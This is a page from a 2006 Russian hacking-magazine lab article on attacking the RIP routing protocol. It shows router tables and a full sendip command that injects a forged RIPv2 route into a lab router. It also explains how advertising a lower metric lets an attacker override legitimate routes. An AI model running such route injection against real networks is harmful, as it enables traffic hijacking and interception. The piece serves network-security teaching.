Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #66, МАЙ 2006 г.

лабораторная работа

КОНСТАНТИН ГАВРИЛЕНКО

Спецвыпуск: Хакер, номер #066, стр. 066-018-8


C 192.168.11.0/24 is directly connected, Serial0

R 192.168.30.0/24 [120/1] via 192.168.69.36, 00:00:01, Ethernet0

R 192.168.7.0/24 [120/1] via 192.168.69.36, 00:00:01, Ethernet0

S 192.168.15.0/24 [1/0] via 192.168.69.110

S* 0.0.0.0/0 [1/0] via 192.168.0.1

Листинг 16. Таблица маршрутизации хоста M2

C 192.168.30.0/24 is directly connected, Serial0

C 192.168.7.0/24 is directly connected, Serial0

R 192.168.10.0/24 [120/1] via 192.168.69.100, 00:00:01, Ethernet0

R 192.168.11.0/24 [120/1] via 192.168.69.100, 00:00:01, Ethernet0

R 192.168.15.0/24 [120/1] via 192.168.69.110, 00:00:01, Ethernet0

192.168.0.0/32 is subnetted, 1 subnets

R 192.168.0.1 [120/1] via 192.168.69.100, 00:00:01, Ethernet0

R 192.168.1.0/24 [120/1] via 192.168.69.100, 00:00:01, Ethernet0

R* 0.0.0.0/0 [120/1] via 192.168.69.100, 00:00:02, Ethernet0

[введение произвольного маршрута.] При помощи утилиты sendip изменим таблицу маршрутизации и добавим маршрут, проходящий через наш маршрутизатор на сеть 192.168.50.0/24.

Листинг 17. Таблица маршрутов изменилась и теперь включает вставленный маршрут

arhontus / # sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p rip -rv 2 -rc 2 -re 2:0:192.168.50.0:255.255.255.0:192.168.69.102:1 192.168.69.36

R 192.168.50.0/24 [120/1] via 192.168.66.102, 00:00:06, Ethernet0

[изменение метрики маршрута на меньшее значение.] Теперь изменим один из существующих маршрутов, о которых оповещает маршрутизатор М1. Возьмем для примера 192.168.10.0/24.

R 192.168.10.0/24 [120/1] via 192.168.69.100, 00:00:01, Ethernet0

Административная дистанция маршрута равняется 120 (значение по умолчанию для протокола RIP), количество узлов до этой сети равно 1.

[ТЕОРИЯ (врезка)]

[административная дистанция.] Практически в любых IP-сетях ты встретишь как минимум два типа маршрутов: подсоединенные и статические. В более крупных сетях, где используются протоколы маршрутизации, появляются динамические маршруты, причем из разных протоколов маршрутизации. Какой из маршрутов является более доверительным, а соответственно, предпочтительным при принятии решения о маршрутизации? Здесь и понадобится значение административной дистанции, которое зависит от того, каким образом маршрутизатор выучил маршрут.

Административная дистанция не может быть изменена с удаленной машины и устанавливается на самом маршрутизаторе. Так что единственный способ попытаться изменить таблицу маршрутизации — поменять ее таким образом, чтобы маршрут имел меньшую метрику. По умолчанию все пути, выученные через RIP, имеют метрику как минимум 1, что, в принципе, логично. Даже если мы пропишем в своем пакете метрику пути, равную 0, получаемый маршрутизатор интерпретирует ее как 1. В ситуации, когда метрика публикуемого маршрута больше, чем 1, мы с легкостью можем внедрить свой маршрут, метрика которого меньше или равняется 1 и который будет иметь более высокий приоритет. Если метрика легитимного маршрута и без того имеет минимальное возможное значение, придется поменять ее на более высокую и оповестить маршрутизатор о своем более предпочтительном пути.

Назад на стр. 066-018-7  Содержание  Вперед на стр. 066-018-9